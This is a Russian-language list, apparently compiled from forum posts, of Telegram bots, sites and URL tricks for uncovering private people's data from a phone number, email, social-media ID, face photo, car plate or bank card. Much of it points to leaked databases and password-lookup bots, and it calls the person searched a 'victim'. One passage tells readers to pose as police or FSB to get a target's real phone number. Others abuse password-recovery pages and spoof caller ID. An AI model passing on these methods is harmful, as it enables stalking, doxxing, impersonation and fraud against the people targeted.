По запрашиваемому номеру телефона выдает ссылку на личность в Фэйсбуке. Функционал бесплатный.

@buzzim_alerts_bot
Поисковая система по платформе Telegram. Ищет упоминания ников/каналов в чатах статьях. Присутствует функция оповещения, если что-то где-то всплывёт. Например, можно посмотреть какие каналы разнесли твои посты с Хабра, проверить ник юзера, где он еще трепался (не забывайте часто менять или на… убрать ваш ник в Tg). Скрина нет – много замазывать. Функционал бесплатный.

@krnshowtimebot
Бот позволяет проверить ip в блэк-листе РКН. Бот вроде сдох, но может очнется.

@AvinfoBot
Бот, который по вводу мобильного телефона выдаст номер машины/марку, а также ссылку и все объявления на Avito.ru. В демо-режиме бесплатно доступно несколько таких поисков/отчетов. Ценник за функционал приличный, некоторые хитрожопые юзеры только ради этого бота сбрасывают свой аккаунт в Telegram, чтобы бесплатно пробивать своих жертв (бесконечное удаление/регистрация учетки на один и тот же номер телефона). БД Avito – или проданная или сдёрнутая, в любом случае хочется дать им в Авито по ИБ.

@HowToFind_bot
Бот разведчик. Подскажет секреты/приемы OSINT.

@Smart_SearchBot
Отличный бот, очень полный. Помогает найти дополнительную информацию, относительно телефонного номера, id ВКонтакте, email, или ИНН юр./физ. лица.

getcontact_real_bot - идеально подойдёт для проверки номера(вирт или не вирт)
@UsersSearchBot - найдет не мало хорошей информации по номеру, так же возможны другие методы поиска
@detectiva_bot - найдет информации по номеру и другим методам поиска(так же по номеру ищет соц-сети)
@vk2017robot - найдет информации по странице которая была зарегестрироваться в 17 и ранее году
@EyeCultist_bot - зеркало оригинального глаза бога
@n3fm4xw2rwbot - найдет информацию по почте, номеру, авто
@BotAvinfo_bot - найдет информации по авто
@helper_inform_bot - найдет чу чуть информации по номеру, так же присутствуют разные методы пробива
@Quickosintfast_bot - зеркало осинта. находит информации по чему угодно, только придется чу чуть оплачивать поиск
@vin01bot - найдет информации по ГОС или VIN номеру
@TgAnalyst_bot - найдет всю возможную информацию по айди телеграмм аккаунта
@Zernerda_bot - соберёт много информации по номеру телефона
@ip_score_checker_bot - найдет информации по айпи человека
@maigret_osint_bot - найдет информации по юзернейму телеграмм аккаунта
@UniversalSearchRobot - найдет информации по номеру телефона
@CultustDoxed_bot - зеркало баз ГТА
@PasswordSearchBot - найдет утерянные пароли в базах
@usinfobot - находит информации по юзеру/айди
@clerkinfobot - находит информации разными методами
@last4mailbot - найдет много полезной инфы по электронной почте
@HimeraSearchBot - очень много методов поиска, а так же информации
@eyeofbeholder_bot - найдет информации по айди/юзернейму

поиск через URLh:

ttps://my-medon.aviasales.ru/list?key=tg:123456789 - найдет подписки на авиабилеты, замените 123456789 на ID аккаунта

ttps://etlgr.me/conversations/123456789/subscription - найдет сохраненное имя аккаунта и статус подписки на @etlgr_bot, можно подставить к ID @etlgr.com и получить Email адрес, замени 123456789 на ID аккаунта

https://intelx.io/?s=https/t.me/USERNAME - найдет упоминание на сайтах и в слитых базах, замените USERNAME на имя пользователя

пробив по почте:

haveibeenpwned.com - проверка почты в слитых базах

emailrep.io - найдет на каких сайтах был зарегистрирован аккаунт использующий определенную почту

dehashed.com (r) - проверка почты в слитых базах

intelx.io - многофункциональный поисковик, поиск осуществляется еще и по даркнету

@info_baza_bot - покажет из какой базы слита почта, 2 бесплатных скана

leakedsource.ru - покажет в каких базах слита почта

mostwantedhf.info - найдет аккаунт skype

email2phonenumber (t) - автоматически собирает данные со страниц восстановления аккаунта, и находит номер телефона

spiderfoot.net (r) - автоматический поиск с использованием огромного количества методов, можно использовать в облаке если пройти регистрацию

@last4mailbot - бот найдет последние 4 цифры номера телефона клиента Сбербанка

searchmy.bio - найдет учетную запись Instagram с электронной почтой в описании

AVinfoBot (r) - найдет аккаунт в ВК

account.lampyre.io (t, r) - программа выполняет поиск по аккаунтам в соц. сетях и мессенджерам и другим источникам

ГлазБога.com (r) - найдет фото из аккаунтов пользователя

@StealDetectorBOT - поисковик по базам утечек, найдет частть пароля и источник утечек

cyberbackgroundchecks.com - найдет все данные гражданина США, вход на сайт разрешен только с IP адреса США

holehe (t) - инструмент проверяет аккаунты каких сайтов зарегистрированы на искомый email адрес, поиск по 30 источникам

tools.epieos.com - найдет Google ID, даст ссылки на профиль в Google карты, альбомы и календарь, найдет к каким сайтам привязана почта, профиль LinkedIn

@UniversalSearchBot - найдет профили на Яндекс, в сервисах Google, утекшие пароли, социальные сети, адрес регистрации, номер телефона, био, Gmail адрес и прочее

grep.app - поиск в репозиториях GitHub

@PasswordSearchBot - выдает пароли

@PhoneLeaks_bot - найдет в каких базах слит номер

@infobazaa_bot - найдет в слитых базах фио, адрес.
LeakedInfoBot - Самый популярный бот для поиска слитой информации о человеке. Находит практический всю доступную информацию о физических и юридических лицах из государственных баз данных, взломанных баз социальных сетей, из других публичных платформ и источников. Бот оснащён самыми актуальными базами данных. А так же подключён к базе солярис, что дает ещё большую вероятность найти человека именно там.
@UsersSearchBot – очень крутой бот для поиска по ФИО, нику, номеру телефона, email или профилю в соцсетях. Содержит базы данных практический всех нашумевших взлом. Поиск по Sherlock. Рекомендуем!
quick OSINT bot – информация о человеке по номеру телефона, email или профилю в соцсетях, фотографии.
@UniversalSearchBot - бот предназначенный для поиска исключительно открытой информации по таким запросам, как: номер телефона, адрес электронной почты, госномер автомобиля, имя пользователя, IP-адрес, доменное имя, геолокация, фотография, ID Telegram и ВКонтакте. Прекрасно автоматизирует OSINT.
@palantir_rubot - бот для глубокого пробива. Самый дорогой из всех, но периодически дает феноменальные результаты: где человек лечился, куда летал самолетом и т.п.
@maigret_osint_bot – проверка username. Maigret проверяет наличие зарегистрированного пользователя с конкретным никнеймом среди 1366 различных сайтов. За основу был взят инструмент Sherlock, который создатель бота начал развивать.
@Search_firm_bot - бот осуществляет поиск по организациям, банкам, почтовому индексу.
@egrul_bot - быстрый сервис проверки контрагентов. Только легальные данные. (Бесплатный)
@ShtrafKZBot - проверка штрафов/налогов/пени по ИИН/БИН - штрафов ПДД по гос. номеру и номеру техпаспорта.
@AvitoBot - поиск пользователей Avito по номеру телефона.
@GetGmail_bot – поиск аккаунтов, привязанных к почте Gmail.
Телефоны:
real GetContact bot - GetContact (бесплатный)
@PhoneLeaks_bot - данный бот расскажет о том, в каких утечках и куда был слит ваш или ещё чей то номер.
@Get_Contectredly_bot и @HackContactBot - с одинаковым функционалом боты, найдут информацию о номере телефона, ФИО, Email, ищут по telegam ID/username.
@bmi_np_bot - Определение оператора и других данных по номеру телефона.
@numberPhoneBot – Отправь боту номер телефона или фото, и он найден всю доступную информацию.
@LBSE_bot - Бот-анализатор местоположения мобильного абонента практически любого мобильного оператора в любой стране мира.
Telegram:
@telesint_bot – позволяет узнать, в каких публичных чатах состоит пользователь. Сейчас в базе данных бота находится более 179 тысяч публичных чатов и записи о более чем 45.5 миллионах пользователей.
@tgscanrobot – так же как и предыдущий бот проверяет наличие пользователя в публичных чатах. На данный момент в базе бота содержится более 709 тысяч чатов, 116 миллионов уникальных пользователей.
@username_to_id_bot – позволяет получить ID пользователя, чата, канала или бота.
@clerkinfobot – поиск по номеру телефона и username Telegram.
@creationdatebot – показывает дату создания аккаунта.
@ChatSearchRobot – поиск схожих по тематике чатов. В базе бота содержится более 709 тысяч чатов.
Украина:
@ce_poshuk_bot - этот бот осуществляет поиск по ФИО, номеру телефона, номера авто и ИНН. К сожалению бот ищет информацию только по жителям
@dosiebotua - Бот для поиска информации о жителях Украины
@OpenDataUABot -Бот по поиску информации о копаниях, людях, авто.
@ce_probiv_bot - поиск любой информации ФИО, номеру телефона, номера авто и ИНН и тд.

пробив по вк:

@vkfindface_bot - Бот для поиска профиля человека Вконтакте по его фото.
@InfoVkUser_bot – анализ друзей профиля ВК. Сейчас доступны ВУЗы и родные города.
@VKUserInfo_bot – выдает полную инфу о профиле ВК.

для других соц-сетей:

@InstaBot – скачивает любые медиафайлы из Instagram.
@SaveYoutubeBot – ищет и скачивает ролики из YouTube.
@getfb_bot – поиск страницы в Facebook по номеру телефона.
Домены:
@WhoisDomBot – отображает whois-инфу для домена или IP-адреса.

@iptools_robot – умеет искать уязвимости на сайтах, собирать информацию про IP и домены, искать субдомены и многое другое.
@AVinfoBot - проверка истории подержанного автомобиля по госномеру, VIN, телефону продавца.

по аккаунту

1. searchlikes.ru — найдет где есть лайки и комментарии пользователя, дает статистику друзей
2. ininterests.com (https://ininterests.com/Люди) — архивная копия аккаунта несколько лет назад
3. 220vk.com — определит средний возраст друзей, скрытых друзей, города друзей, дата регистрации и т.д
4. vk5.city4me.com — cтатистика онлайн активности, скрытые друзья
5. VKAnalysis (https://github.com/migalin/VKAnalysis) — анализ круга общения, текста, фото, активности и интересов аккаунта
6. cipher387.github.io (https://cipher387.github.io/quickcacheandarchivesearch/) — покажет архивированную версию аккаунта, даст 20+ прямых ссылок на сайты веб архивы
7. InfoApp (https://vk.com/app7183114) —найдет созданные группы, упоминания в комментариях, общих друзей, созданные приложения и комментарии к фото
8. @InfoVkUser_bot — бот покажет наиболее частые места учебы друзей аккаунта
9. @FindNameVk_bot — история изменений имени аккаунта
10. vkdia.com — определит с кем из друзей переписывается человек
11. глазбога.com — бот, найдет фото приватного аккаунта в хорошем качестве, дату создания
12. vkpt.info — мониторинг деятельности пользователя, поиск старых друзей, покажет, кому ставит лайки, все комментарии пользователя, скрытые друзья
13. UsersBox.org — бот, находит номер телефона и много других полезных данных, бесплатный триал 14 дней
14. @SovaAppBot — статистика друзей аккаунта, покажет выборку по городу, стране, возрасту и полу
15. smartsearchbot.com — бот,находит email, номер телефона и другое, бесплатный поиск не доступен для новых пользователей
16. api.vk.com (https://vk.com/dev/messages.getLastActivity) — покажет дату последней активности аккаунта
17. @Informator_BelBot — найдёт частые города друзей, общих друзей между двумя аккаунтами
18. HiddenFriends (https://vk.com/app3256362) — приложение ВК, найдет скрытых друзей, дождитесь окончания поиска
19. @QuickOSINT_Robot — найдет пароли, соц. сети, логины, телефоны, сделает анализ друзей и многое другое, всего 3 бесплатных запроса для новых аккаунтов
20. @UniversalSearchRobot (https://t.me/UniversalSearchRobot#utm?source=0961155457scr=HowToFind) — найдет аккаунт на Мой Мир, дату изменения, создания и дату последнего статуса онлайн, архивные копии профиля,упоминание профиля в ВК и прочее
21. @OffThisContactBot — найдет номер телефона, почту, имя, фото, для поиска создай и подключи свой тг-бот
22. @Zernerda_bot — анализ друзей и знакомых по городу, возрасту, школе, ВУЗу, лайкам, ищет упоминание профиля в утечках, бесплатный поиск после первого запуска бота
23. @a11_1n_bot — найдет почту и номер телефона
24. @declassified_bot — найдет адреса регистрации, почту, имя и авто
25. @vk2017robot — профиль вк в 2017 году, покажет аватар, описание и прочее
26. @VKHistoryRobot — история профиля с 2010 по 2021 год, есть даже аватары, вводить числовой ID страницы

пробив по парсеру:

1. @Informator_BelBot — скачает друзей, сообщества аккаунта

полезные инструменты:

1. @AximoBot — мгновенно сохранит новые публикации аккаунта в Telegram
2. vk-express.ru — слежка за аккаунтом, после добавления будут доступны аватары, лайки, комментарии, друзья группы и т.д.

пробив по URL:

1. https://onli-vk.ru/pivatfriends.php?id=123456789 — поиск друзей закрытого аккаунта, замените 123456789 на ID аккаунта VK
2. https://vk.com/feed?obj=123456789&q=&section=mentions — упоминания аккаунта, замените 123456789 на ID аккаунта
3. https://rusfinder.pro/vk/user/id123456789 — сохраненная копия профиля: имя и город профиля в заголовке страницы, замените 123456789 на ID аккаунта VK
4. https://my.mail.ru/vk/123456789 — найдет аккаунт на Мой Мир, замените 123456789 в ссылке на ID аккаунта
5. https://vk.com/foaf.php?id=123456789 — найдет количество друзей, количество подписчиков и дату рождения, дату изменения имени и прочее, замените 123456789 в ссылке на ID аккаунта, откройте исходный код страницы Ctrl+U
6. https://topdb.ru/username — найдет архивную копию профиля и фото, иногда нужен VPN, замените username на логин пользователя или ID, например id1234567
7. https://bigbookname.com/user/id-123456789 — историческая копия аккаунта с фото, друзьями, датой рождения, городом и информацией о себе, замените 123456789 на ID аккаунта VK
8. https://vk.watch/123456789/profile —покажет фото аккаунта с 2016 года, замените 123456789 на ID аккаунта VK

как узнать настоящий номер человека по виртуальному номеру.

1. нужно знать виртуальный номер жертвы(без этого никак)

2. далее нам нужно узнать в каком сервисе он купил виртуальный номер

3. пишем тех-поддержке сервиса в котором наша жертва покупала номер, что мы являемся сотрудником/помощником и т.п полиции/ФСБ, и пишем что мы якобы ведем расследования по статьям(вам нужно будет написать пр каким статьям, главное чтоб их было не больше 5-7, иначе будет подозрительно), ожидаем ответа. готово! теперь у нас есть оригинальный номер нашей жертвы.

как узнать номер телефона аккаунта ВК через одноклассники:

[1] В ВК добавьте аккаунт в друзья
[2] Перейдите в Одноклассники и откройте раздел мои друзья
[3] Нажмите на кнопку 'добавить друзей из ВК'
[4] Если аккаунт нашелся, то скопируйте ссылку на найденный аккаунт ОК
[5] Перейдите по этой ссылке (https://ok.ru/password/recovery) и выберите восстановить через профиль
[6] Вставьте в поле ссылку которую вы скопировали на профиль и нажмите искать

В результате вы получите часть номера телефона и e-mail адреса

Как найти друзей приватного аккаунта VK
[1] Скопируйте ID аккаунта у которого хотите узнать друзей
[2] Откройте Google, и вставьте туда этот ID, например: id123456
[3] В результатах поиска откройте такие сайты как facestrana.ru(не реклама) или boberbook.ru(не реклама) или vkanketa.ru(не реклама) или vkglobal.ru(не реклама) или другой который похож на эти
[4] На сайте будет анкета другого человека (это один из друзей), скопируйте ID этого аккаунта (ID в пункте основная информация)
[5] Перейдите по ссылке 220vk.com(не реклама)
(https://220vk.com/commonFriends)[6] В первом поле вставьте ID друга, а во втором ID приватного аккаунта
[7] Нажмите кнопку "искать общих друзей"

Если друзей не нашлось или их мало, воспользуйтесь ID другого друга из результатов поиска в Google

поиск по паспорту гражданина России:

1. fms.gov.ru (http://services.fms.gov.ru/info-service.htm?sid=2000) — проверка действительности паспортов гражданина РФ
2. fssp.online — задолженности, поиск бесплатный
3. service.nalog.ru (https://service.nalog.ru/inn.do) — найдет ИНН, нужно знать полное ФИО и дату рождения

восстановление доступа:

1. esia.gosuslugi.ru (https://esia.gosuslugi.ru/recovery/) — даст часть адреса почты и номера телефона

поиск по фото с лицом:

1. Findclone.ru (r) — найдет профиль ВК
2. AVINFOBOT (https://avclick.me/v/AVinfoBot) — найдет аккаунты в ВК, просто пришли ему фото с лицом
3. search4faces.com — найдет профиль VK, OK, TikTok и Clubhouse, не точен
4. smartsearchbot.com — бот находит страницу в ВК, бесплатный поиск не доступен для новых пользователей
5. azure.microsoft.com (<https://azure.microsoft.com/ru- ru/services/cognitive-services/face/#item2Content-centered>) — соотнесение лиц, определит вероятность того, что на двух разных изображениях изображен один и тот же человек, и выдаст оценку достоверности
6. news.myseldon.com — не точен, ищет в фото из СМИ
7. vk.watch — находит аккаунты ВКонтакте с похожими лицами, не точен, дождитесь загрузки фото
8. @Find_by_face_bot — найдет аккаунт ВК и фото с лицом
9. odyssey-search.info (r) — найдет аккаунт ВК и ОК, при регистрации можно указать любую российскую организацию, но ваш email чтобы получить логин и пароль
10. account.lampyre.io (t) (r) — программа способная выдать результаты из обратного поиска по картине в Google, Yandex, найти похожие лица в аккаунтах ВК и Одноклассниках
11. @pimeyesbot — найдет фото с лицом во всем интернете, результат приходит в течении дня
12. @findmekz_bot (r) — найдет фото из ВК, регистрация возможна только пользователем с номером телефона Казахстана
13. @PinFaceBot — найдет аккаунт ВК, средняя точность поиска
14. /file_image — список ресурсов для поиска по изображению

По видео с лицом
1. scanner.deepware.ai — выявляет дипфейк Quick OSINT — найдет оператора, email, как владелец записан в контактах, базах данных и досках объявлений, аккаунты в соц. сетях и мессенджерах, в каких чатах состоит, документы, адреса и многое другое
@clerkinfobot — бот берет данные из приложения getcontact, показывает как записан номер телефона в контактах
@dosie_Bot — как и в боте uabaza дает информацио о паспорте только польностью, 3 бесплатные попытки
@find_caller_bot — найдет ФИО владельца номера телефона
@get_caller_bot — поиск по утечкам персональных данных и записным книгам абонентов, может найти ФИО, дату рождения, e-mail
@get_kolesa_bot — найдет объявления на колеса.кз
@get_kontakt_bot — найдет как записан номер в контактах, дает результаты что и getcontact
@getbank_bot — дает номер карты и полное ФИО клиента банка
@GetFb_bot — бот находит Facebook
@Getphonetestbot — бот берет данные из приложения getcontact, показывает как записан номер телефона в контактах
@info_baza_bot — поиск в базе данных
@mailsearchbot — найдет часть пароля
@MyGenisBot — найдет имя и фамилию владельца номера
@phone_avito_bot — найдет аккаунт на Авито
@SafeCallsBot — бесплатные анонимные звонки на любой номер телефона с подменой Caller ID
@usersbox_bot — бот найдет аккаунты в ВК у которых в поле номера телефона указан искомый номер
-https://www.reestr-zalogov.ru/search/index
@The_NoNameBot
https://eyeofgod.space/
@EmailPhoneOSINT_bot
@phone_avito_bot
@getcontact_real_bot
ttps://my-medon.aviasales.ru/list?key=tg:123456789

Intelligence X​

Intelligence X is a search engine and data archive. Search Tor, I2P, data leaks and the public web by email, domain, IP, CIDR, Bitcoin address and more.
intelx.io

@maigret_osint_bot - Пробив по никнейму
@kolibri_osint_bot - Идеальный бот, аналог ГБ. Бесплатно раздают на время бета теста (3 месяца вроде).
@glazIX_bot - Стандартный глазик, зеркало от пидорасов извини, своё лень было делать.
@Qsta_bot - Хороший бот, правда платный. Но дают пару запросов, я лично чекаю сообщения со страницы вк в нём в группах и т.д. для компромата, охуенный короче бот
@getcontact_real_bot - Бот для пробива по GetContact (5 запросов в день )
@ibhldr_bot - Пробив по чатам ТГ
├ @clerkinfobot — бот берет данные из приложения getcontact, показывает как записан номер телефона в контактах
├ @dosie_Bot — как и в боте uabaza дает информацио о паспорте только польностью, 3 бесплатные попытки
├ @find_caller_bot — найдет ФИО владельца номера телефона
├ @get_caller_bot — поиск по утечкам персональных данных и записным книгам абонентов, может найти ФИО, дату рождения, e-mail
├ @get_kolesa_bot — найдет объявления на колеса.кз
├ @getbank_bot — дает номер карты и полное ФИО клиента банка
├ @GetFb_bot — бот находит Facebook
├ @Getphonetestbot — бот берет данные из приложения getcontact, показывает как записан номер телефона в контактах
├ @info_baza_bot — поиск в базе данных
├ @mailsearchbot — найдет часть пароля
├ @MyGenisBot — найдет имя и фамилию владельца номера
├ @phone_avito_bot — найдет аккаунт на Авито
├ @SafeCallsBot — бесплатные анонимные звонки на любой номер телефона с подменой Caller ID

Ресурсы для пробива
├ lampyre.io — программа выполняет поиск аккаунтов, паролей и многих других данных
├ avinfo.guru — проверка телефона владельца авто, иногда нужен VPN
├ fa-fa.kz — найдет ФИО, проверка наличия задолженностей, ИП, и ограничения на выезд
├ getcontact.com — найдет информацию о том как записан номер в контактах
├ globfone.com — бесплатные анонимные звонки на любой номер телефона
├ mirror.bullshit.agency — поиск объявлений по номеру телефона
├ mysmsbox.ru — определяет чей номер, поиск в Instagram, VK, OK, FB, Twitter, поиск объявлений на Авито, Юла, Из рук в руки, а так же найдет аккаунты в мессенджерах
├ nuga.app — найдет Instagram аккаунт, авторизация через Google аккаунт и всего 1 попытка
├ numberway.com — найдет телефонный справочник
├ personlookup.com.au — найдет имя и адрес
├ phoneInfoga.crvx.fr — определят тип номера, дает дорки для номера, определяет город
├ spravnik.com — поиск по городскому номеру телефона, найдет ФИО и адрес
├ spravochnik109.link — поиск по городскому номеру телефона, найдет ФИО и адрес
├ teatmik.ee — поиск в базе организаций, ищет номер в контактах
└ truecaller.com — телефонная книга, найдет имя и оператора телефона

Пробив по странице ВКонтакте

На данный момент в этом посте собраны лучшие способы работы с этой соцсетью, которые используют профессионалы в области OSINT-Разведки.

1 Узнать ID страницы — вам будет необходим этот уникальный идентификатор для дальнейшего использования.
2 InfoApp — может генерировать ссылки на новостную ленту цели, ее упоминания и собирать комментарии от имени целей.
3 Тут Найдут — в архиве страницы ВКонтакте могут быть реальная фамилия, дата рождения и информация об удаленной странице.
4 Поиск друзей закрытого аккаунта — в ссылке нужно заменить XXX на ID страницы цели.
5 220vk.com — Огромный комбайн для работы с ВК, от поиска закрытых друзей до мониторинга активности.

В этой статье опубликован список сервисов и ботов для пробива. Сразу скажу что я регулярно использовал до 10 опубликованых сервисов. Остальных или имеют хорошую репутацию и я слышал отзывы проверенных людей.
Содержание:
Телеграм боты
Пробив по биткоин кошельку
Поиск по номеру банковской карты
Телеграм боты для пробива
1. Глаз Бога — этот бот уже стал легендой. Если в этом боте нет инфы, то 70% что в других ее тоже нет. Сервис платный, но покажет часть результата.
2. Поиск по ID –– поисковик информации данных о людях по ID Telegram и Вконтакте
3. Info Baza –– украинских аналог Глаза Бога. Базы содержат только жителей Украины!
4. Quick OSINT - может найти комментарии пользователя, проанализировать его друзей и фотографии
5. Insight –– Бот выдает интересы пользователей по телеграм аккаунту. Вывод делает на основе базы каналов и чатов на которые подписан пользователь. Если честно без понятия откуда у них это инфа.
7. Поиск по номеру – поисковая система поиска номеров телефона и других данных по открытым источникам.
8. BTC Searcher - производит поиск данных о владельце биткоин кошелька.
9. UniversalSearchBot — выдает ссылки на гугл аккаунты, вебархивы, карты сбербанка, номер телефона, аккаунты яндекса.
10. PasswordSearchBot — показывает пароли по email адресу.
11. Iptools_robot — поиск информации об ip адресе, владельце домена и многое другое. Больше 30 вариантов поиска.
12. Neuroperson_bot — с помощью нейросетей бот генерирует фото несуществующего человека и его личные данные, такие как: ФИО, банковские карты, номер телефона, домашний адрес с индексом и т.д.
13. MotherSearchBot –– поисковик по телеграму.
14. Egrul_bot — присылает информацию о российских компаниях и индивидуальных предпринимателях.

1. leakcheck.io — найдет слитые пароли
2. Saverudata - може???????те проверить се???????бя или своего зн???????акомого.
4. dehashed.com — это поисковая машина по взломанным базам данных, созданная для аналитиков безопасности, журналистов, охранных компаний и обычных людей, чтобы помочь защитить учетные записи и предоставить информацию о взломах баз данных и утечках учетных записей. Позволяе вам искать IP-адреса, email адреса, юзернеймы, имена, номера телефонов, номера VIN, адреса, паролей, хэшей и т. д.!
5. intelx.io — многофункциональный поисковик, поиск осуществляется еще и по даркнету. Самая большая в мире база данных. Доступ к сервису стоит 2000 евро в год. Но можно попользоваться 7 дней ограниченным функционалом.
6. tools.epieos.com — найдет Google ID, даст ссылки на профиль в Google карты, альбомы и календарь, найдет к каким сайтам привязана почта, профиль LinkedIn.
7. ininterests.com — информация аккаунта вк несколько лет назад.
8. account.lampyre.io — программа выполняет поиск по аккаунтам в соц. сетях и мессенджерам и другим источника.
9. hunter.io — найдет профессиональные адреса электронной почты и связаться с людьми, которые важны для вашего бизнеса.
10. m.ok.ru — показывает часть номера телефона, email, фамилии и полностью город с датой регистрации, используй во вкладке инкогнито.
11. dolg.xyz — находит связанные лица и государственные органы.
Пробив по биткоин-кошельку
Уже не является секретом, что биткоин не так анонимен, как многие думают. Баланс кошелька и все его переводы можно легко отследить. Именно для этого привожу список некоторых сервисов, которые помогут нам в этом
1. Bitref — Проверка биткоин кошелька.
3. Cryptocurrency Alerting — Сервис, позволяющий настроить оповещения об активности интересующего вас адреса.
4. Blockseer — Визуализация связей между адресами, участвовавшими в осуществлении транзакций.
Поиск по номеру карты
1. bincheck.io
2. binchecker.com
4. freebinchecker.com
5. binlist.io

Поиск по физическому адресу Украины

1. spravnik.com — найдет номер телефона, ФИО
2. liveuamap.com — отмечены места из новостей с происшествиями, преступностью, катаклизмами и еще 40 видов событий
3. map.land.gov.ua — кадастровая карта
4. /physical_address — список ресурсов для поиска по физическому адресу любой страны

Транспорт

1. www.eway.in.ua — общественный транспорт на карте в реальном времени

Просмотр улиц

1. Yandex (http://yandex.ru/maps/) — просмотр в 360 градусов, есть доступ к истории снимков, дополнительные снимки от пользователей

По украинскому гос номеру или VIN авто

1. @OpenDataUABot — поиск по номерному знаку, выдаст VIN, технические характеристики авто и прочее
2. Traffic Tickets UA (https://play.google.com/store/apps/details?id=com.shtrafua.android.shtrafua) (a) — поиск по регистрационному номеру, находит штрафы
3. policy-web.mtsbu.ua — найдет страховой полис, VIN модель и марку
4. www.unda.com.ua — покажет адрес регистрации и данные автомобиля
5. smartsearchbot.com — бот найдет базовую информацию об авто и ИНН владельца
6. @info_baza_bot — найдет базовую информацию об авто и инициалы владельца
7. @ShtrafyPDRbot — покажет штрафы, необходимо указать серию и номер ВУ или налоговый номер или серию и номер паспорта или серию и номер свидетельства о регистрации ТС
8. @SEARCHUA_bot — выдает досье где есть паспорт, адрес проживания, ФИО, автомобили, родственники, email, номера телефонов и много другого
9. smartsearchbot.com — бот найдет технические характеристики авто и ИНН владельца, бесплатный поиск не доступен для новых пользователей
10. @ce_probiv_bot — по номерному знаку или VIN даст ИНН и дату рождения владельца авто

Поиск по характеристикам авто

Например: марка, модель, цвет

1. baza-gai.com.ua (https://baza-gai.com.ua/search) — база с 12M автомобилей, находит регистрационный знак. Можно выбрать область

Поиск по регистрационному знаку или VIN авто в Россииhttps://avclick.me/v/AVinfoBot
1. AVinfoBot (https://avclick.me/v/AVinfoBot) — дает крупный отчет с данными владельца, историей авто и фото, получить бесплатный отчет возможно только если вы пригласите другой аккаунт в бот
2. vin01.ru — найдет VIN и по нему покажет историю регистраций, историю ДТП, пробег, ОСАГО и многое другое
3. vinformer.su (http://vinformer.su/#cmdt0329976453) — проверка ПТС, поиск по VIN
4. @AntiParkonBot — найдет номер телефона владельца, маловероятно что результат будет
5. nomerogram.ru — найдет фото автомобиля, поиск по гос. номеру
6. глазбога.com — находит полис, часть номера телефона, СТС и адреса парковок в Москве
7. @Quick_OSINT_bot — дает фото авто
8. checkvehicle.sfri.ru (https://checkvehicle.sfri.ru/AppCheckVehicle/app/main#cmdr0329976453) — сервис проверки управляемых инвалидом авто или используемых для перевозки инвалида
9. @clerkinfobot — находит ФИО, VIN, CNC, марку, ОСАГО
10. avtocod.ru — марка, модель, часть VIN
11. ГИБДД.РФ ([https://гибдд.рф/check/auto](https://xn--90adear.xn-- p1ai/check/auto)) — по VIN находит технические характеристики, периоды владения транспортным средством, участие в дорожно-транспортных происшествиях, розыск, ограничения, проверка наличия диагностической карты технического осмотра
12. odyssey-search.info (r) — по номерномузнаку или VIN выдает технические характеристики авто, VIN, документы и адреса регистрации владельца авто, направления движения авто и прочее, а при регистрации можно указать любую российскую организацию
13. smartsearchbot.com — бот находит ФИО, VIN, телефон владельца, марку автомобиля, бесплатный поиск не доступен для новых пользователей
14. *******.net — покажет фото авто, кто его загрузил на сайт и даату съёмки

Для белорусских документов физических лиц

1. bankrot.gov.by (https://bankrot.gov.by/Debtors/DebtorsList/) — по УНП, статус банкрота
2. minjust.gov.by (https://minjust.gov.by/directions/enforcement/debtors/) — по регистрационному номеру, требуется ввести фамилию
3. mtkrbti.by (http://mtkrbti.by/local/TL/Licence.nsf/WEBSearchView1?SearchView) — по УНП и номеру лицензии в базе готовых лицензий, найдет ФИО, адрес, почтовый индекс, номер транспортной лицензии, срок действия
4. nbrb.by (http://www.nbrb.by/system/Banks/GuaranteesRegister/) — по УНП, покажет сведения о выданных банковских гарантиях
5. gr.rcheph.by (http://gr.rcheph.by/) — по УНП, названию компании или наименования продукта, поиск в сведениях о государственной регистрации товаров
6. egr.gov.by (http://egr.gov.by/egrn/index.jsp?content=Find) — по УНП в реестре юридических лиц и индивидуальных предпринимателей единого государственного регистра
7. justbel.info (https://justbel.info/Liquidation/FindMyRequest) — по УНП, покажет данные о ликвидации юридических лиц
8. ioauth.raschet.by (https://ioauth.raschet.by/client/password/reset) — по идентификационному номеру выдаст часть номера телефона

Поиск по ФИО гражданина России

1. @egrul_bot — найдет ИП и компании
2. reestr-zalogov.ru (https://www.reestr-zalogov.ru/search/index) — поиск в реестре залогодателей, даст паспортные данные, место и дату рождения и т.д.
3. zytely.rosfirm.info (https://zytely.rosfirm.info/m/) — найдет адрес прописки и дату рождения, необходимо знать город
4. mmnt.ru — найдет упоминания в документах
5. kad.arbitr.ru — найдет дела арбитражных судов
6. bankrot.fedresurs.ru — поиск в реестре банкротов, можно узнать ИНН, СНИЛС и адрес
7. spra.vkaru.net — телефонный справочник по России, Украине, Белоруссии, Казахстану, Литве и Молдове
8. fssprus.ru (http://fssprus.ru/iss/ip/) — проверка задолженностей, для физ. лица
9. reestr-dover.ru (https://www.reestr-dover.ru/revocations) — поиск в списке сведений об отмене доверенности
10. notariat.ru (https://data.notariat.ru/directory/succession/search?last_name=петренко&first_name=&middle_name=#) — поиск в реестре наследственных дел, найдет дату смерти человека и адрес нотариуса оформившее дело
11. глазбога.com — обратный поиск в GetContact, находит часть номера телефона
12. nalog.ru (https://service.nalog.ru/inn.do) — найдет ИНН, необходимо указать дату рождения и паспортные данные, дату выдачи не обязательно верно
13. go.mail.ru (https://go.mail.ru/msocial) — ищет аккаунты в VK, OK и Facebook
14. bigbookname.com (https://bigbookname.com/search#) — находит древние данные профилей ВК, есть фильтры по дате рождения, по стране и городу
15. notariat.ru (https://notariat.ru/ru-ru/help/probate-cases/) — если человек умер, то найдет дату смерти, номер наследственного дела, где оно было открыто и каким нотариусом
16. AVinfoBot (https://avclick.me/v/AVinfoBot) (r) — дает номер телефона, находит суды и долги
17. wordstat.yandex.ru — покажет что ищут вместе с ФИ или ФИО в Яндексе
18. news.myseldon.com — находит упоминания в российских СМИ, строит дерево связей между медийными объектами, которое образуются на основе их совместного упоминания в тексте новости
19. @The_New_Get_Contact_Bot — найдет номер телефона, можно вводить ФИ или любую другую фразу
20. spravnik.com — найдет номер телефона, адрес регистрации, необходимо знать город
21. list-org.com (https://www.list-org.com/?search=boss) — найдет организацию в учредителях и руководителях
22. list-org.com (https://www.list-org.com/?search=fio) — найдет предпринимателя, его госзакупки, дерево связей
23. odyssey-search.info (r) — персональные данные гражданина России, автомобили, документы, адрес проживания, скоринг негатива, агрессивность, посягательство на жизнь и свободу, преступления, наркотики и т.п., зарегистрироваться можно на имя любой существующий компании
